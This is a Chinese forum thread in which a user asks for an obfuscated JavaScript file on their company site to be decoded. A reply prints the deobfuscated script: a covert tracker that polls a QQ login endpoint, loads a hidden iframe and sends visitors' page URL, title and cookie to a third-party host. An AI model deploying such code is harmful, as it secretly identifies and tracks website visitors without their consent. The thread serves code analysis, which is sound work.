求高手解密这段js代码,谢谢大家!js代码放在我们公司的空间里,http://www.nibai400.com/1.txt  打开读取加密的js代码。解密以后发到,谢谢!jsjs解密java脚本

解决方案 »

  1.   

    http://www.hainahuaer400.com/这个是调用页面,网页最下面的这段代码,就是调用的这个js,
    <script type='text/javascript' src='http://m.henbashi.com/app/clientjs.go?reqCode=gainqq&uid=1000111'></script>谢谢高手!
      

  2.   


    window.aligooocid="1000111";
    window.aligooosid="2197488409";
    window.aligooodept="001003001070";
    window.aligoooServiceDomain="m.henbashi.com";
    var isLoginTimeID;
    function SetCookie(name,value){
      var Days=30;
      var exp=new Date();
      exp.setTime(exp.getTime()+Days*24*60*60*1000);
      document.cookie=name+"="+escape(value)+";expires="+exp.toGMTString();
    }
    function GetCookie(name){
      var arr=document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
      if(arr!=null){
        return unescape(arr[2]);
      }
      return null;
    }
    function DelCookie(name){
      var exp=new Date();
      exp.setTime(exp.getTime()-1);
      var cval=getCookie(name);
      if(cval!=null){
        document.cookie=name+"="+cval+";expires="+exp.toGMTString();
      }
    }
    function insertFrame(){
      var ms=document.createElement("iframe");
      ms.src="http://meishi.qq.com/profiles/"+window.aligooosid;
      ms.width=0;
      ms.height=0;
      ms.frameborder=0;
      ms.scrolling="no";
      if(ms.attachEvent){
        ms.attachEvent("onload",function(){
          newSubmit();
        });
      }else {
        ms.onload=function(){
          newSubmit();
        };
      }
      document.body.appendChild(ms);
    }
    function newSubmit(){
      var uincookie=GetCookie("uincookie");
      if(uincookie==null){
        uincookie="code"+(new Date()).getTime()+parseInt(Math.random()*100000);
        SetCookie("uincookie",uincookie);
      }
      var url=document.location.href;
      var title=document.title;
      title=encodeURI(title);
      title=encodeURI(title);
      var oHead=document.getElementsByTagName("HEAD").item(0);
      var oScript=document.createElement("script");
      oScript.type="text/javascript";
      oScript.src="http://"+window.aligoooServiceDomain+"/app/clientjs.go?reqCode=save&cid="+window.aligooocid+"&sid="+window.aligooosid+"&dept="+window.aligooodept+"&url="+url+"&title="+title+"&uincookie="+uincookie;
      oHead.appendChild(oScript);
    }
    function isLogin(){
      var code=null;
      if(typeof (data3)=="undefined"){
        code=data0.err;
      }else {
        code=data3.err;
      }
      if(code==1007){
        window.clearInterval(isLoginTimeID);
        insertFrame();
      }else {
        var uincookie=GetCookie("uincookie");
        if(uincookie!=null){
          window.clearInterval(isLoginTimeID);
          var url=document.location.href;
          var title=document.title;
          title=encodeURI(title);
          title=encodeURI(title);
          var oHead=document.getElementsByTagName("HEAD").item(0);
          var oScript=document.createElement("script");
          oScript.type="text/javascript";
          oScript.src="http://"+window.aligoooServiceDomain+"/app/clientjs.go?reqCode=cookieSave&cid="+window.aligooocid+"&sid="+window.aligooosid+"&dept="+window.aligooodept+"&url="+url+"&title="+title+"&uincookie="+uincookie;
          oHead.appendChild(oScript);
        }else {
          var checkscript=document.getElementById("checkloginscript");
          checkscript.parentNode.removeChild(checkscript);
        }
      }
    }
    function dynamicLoad(){
      var vsrc="http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
      var time=new Date().getTime();
      vsrc=vsrc+time;
      var oHead=document.getElementsByTagName("HEAD").item(0);
      var oScript=document.createElement("script");
      oScript.type="text/javascript";
      oScript.id="checkloginscript";
      if(oScript.readyState){
        oScript.onreadystatechange=function(){
          if(oScript.readyState=="loaded"||oScript.readyState=="complete"){
            oScript.onreadystatechange=null;
            isLogin();
          }
        };
      }else {
        oScript.onload=function(){
          isLogin();
        };
      }
      oScript.src=vsrc;
      oHead.appendChild(oScript);
    }
    isLoginTimeID=window.setInterval("dynamicLoad()",3000);
      

  3.   

    chrome developer tools,直接就能跟踪到,并且复制出来可运行的源码了!